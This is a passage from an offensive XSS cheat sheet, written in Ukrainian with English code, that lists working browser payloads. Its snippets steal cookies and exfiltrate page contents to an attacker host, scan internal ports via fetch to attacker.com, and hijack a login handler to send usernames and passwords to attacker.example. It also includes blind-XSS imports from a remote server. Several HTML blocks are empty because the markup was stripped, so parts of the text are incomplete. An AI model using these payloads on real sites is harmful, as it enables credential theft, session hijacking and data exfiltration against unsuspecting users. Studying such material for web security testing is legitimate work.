^ o) + (o ^ _ ^ o)) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚ー゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + ゚Θ゚ + ゚Д゚[゚o゚] )(゚Θ゚) )("_") ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS поширені payloads ### Кілька payloads в 1 {{#ref}} steal-info-js.md {{#endref}} ### Iframe пастка Змусити користувача переміщатися по сторінці, не виходячи з iframe, і викрасти його дії (включно з інформацією, надісланою у формах): {{#ref}} ../iframe-traps.md {{#endref}} ### Отримати Cookies ```javascript /?c="+document.cookie> ``` > [!TIP] > Ви **не зможете отримати доступ до cookies з JavaScript**, якщо прапорець HTTPOnly встановлено в cookie. Але тут у вас є [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly), якщо вам пощастить. ### Вкрасти вміст сторінки ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open("GET", url, true) xhr.send(null) ``` ### Знайти внутрішні IPs ```html ``` ### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Auto-fill passwords capture ```javascript Username:
Password:
``` Коли в поле пароля вводяться будь-які дані, ім'я користувача та пароль відправляються на сервер нападника — навіть якщо клієнт вибирає збережений пароль і нічого не вводить, the credentials will be ex-filtrated. ### Hijack form handlers to exfiltrate credentials (const shadowing) Якщо критичний handler (наприклад, `function DoLogin(){...}`) оголошується пізніше на сторінці, а ваш payload виконується раніше (наприклад, via an inline JS-in-JS sink), визначте `const` з тим же ім'ям спочатку, щоб перехопити й зафіксувати handler. Подальші оголошення функцій не можуть перевизначити `const`-ім'я, залишаючи ваш hook під контролем: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); }; ``` Примітки - Це залежить від порядку виконання: ваша ін'єкція має виконатися перед легітимним оголошенням. - Якщо ваш payload обгорнуто в `eval(...)`, зв'язки `const/let` не стануть глобальними. Використовуйте техніку динамічної вставки ` ``` ### Перехоплення повідомлень PostMessage ```html ``` ### Зловживання Service Workers {{#ref}} abusing-service-workers.md {{#endref}} ### Доступ до Shadow DOM {{#ref}} shadow-dom.md {{#endref}} ### Polyglots {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} ### Blind XSS payloads Можна також використовувати: [https://xsshunter.com/](https://xsshunter.com) ```html "> "> >
Click Me For An Awesome Time "> "> {{constructor.constructor("import('{SERVER}/script.js')")()}} ``` ### Regex - Доступ до прихованого вмісту З [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все одно можна знайти в JS-атрибутах у різних об'єктах. Наприклад, input для REGEX все ще можна знайти навіть після того, як значення цього input для regex було видалено: ```javascript // Do regex with flag flag = "CTF{FLAG}" re = /./g re.test(flag) // Remove flag value, nobody will be able to get it, right? flag = "" // Access previous regex input console.log(RegExp.input) console.log(RegExp.rightContext) console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` ### Brute-Force List {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} ## XSS — використання інших вразливостей ### XSS in Markdown Чи можна інжектувати Markdown-код, який буде відрендеровано? Можливо, так ви отримаєте XSS! Перевірте: {{#ref}} xss-in-markdown.md {{#endref}} ### XSS to SSRF Знайшли XSS на **сайті, що використовує кешування**? Спробуйте **підвищити його до SSRF** через Edge Side Include Injection за допомогою цього payload: ```python ``` Використовуйте це, щоб обійти обмеження cookie, XSS-фільтри та багато іншого!\ Більше інформації про цю техніку тут: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). ### XSS in dynamic created PDF Якщо веб-сторінка створює PDF, використовуючи вхідні дані, контрольовані користувачем, ви можете спробувати **обдурити bot**, який створює PDF, щоб він **виконав довільний JS code**.\ Тож, якщо **PDF creator bot finds** певні **HTML** **tags**, він їх буде **інтерпретувати**, і ви можете **abuse** цю поведінку, щоб спричинити **Server XSS**. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} Якщо ви не можете інжектувати HTML-теги, може бути корисно спробувати **inject PDF data**: {{#ref}} pdf-injection.md {{#endref}} ### XSS in Amp4Email AMP, спрямований на прискорення продуктивності веб-сторінок на мобільних пристроях, використовує HTML-теги, доповнені JavaScript, щоб забезпечити функціональність з акцентом на швидкість і безпеку. Він підтримує низку компонентів для різних можливостей, доступних через [AMP components](https://amp.dev/documentation/components/?format=websites). Формат [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) розширює певні компоненти AMP для електронних листів, дозволяючи одержувачам взаємодіяти з контентом безпосередньо у своїх листах. Приклад [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). ### XSS uploading files (svg) Завантажте як зображення файл, схожий на наступний (з [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 -----------------------------232181429808 Content-Disposition: form-data; name="img"; filename="img.svg" Content-Type: image/svg+xml -----------------------------232181429808-- ``` ```html ``` ```html ``` ```svg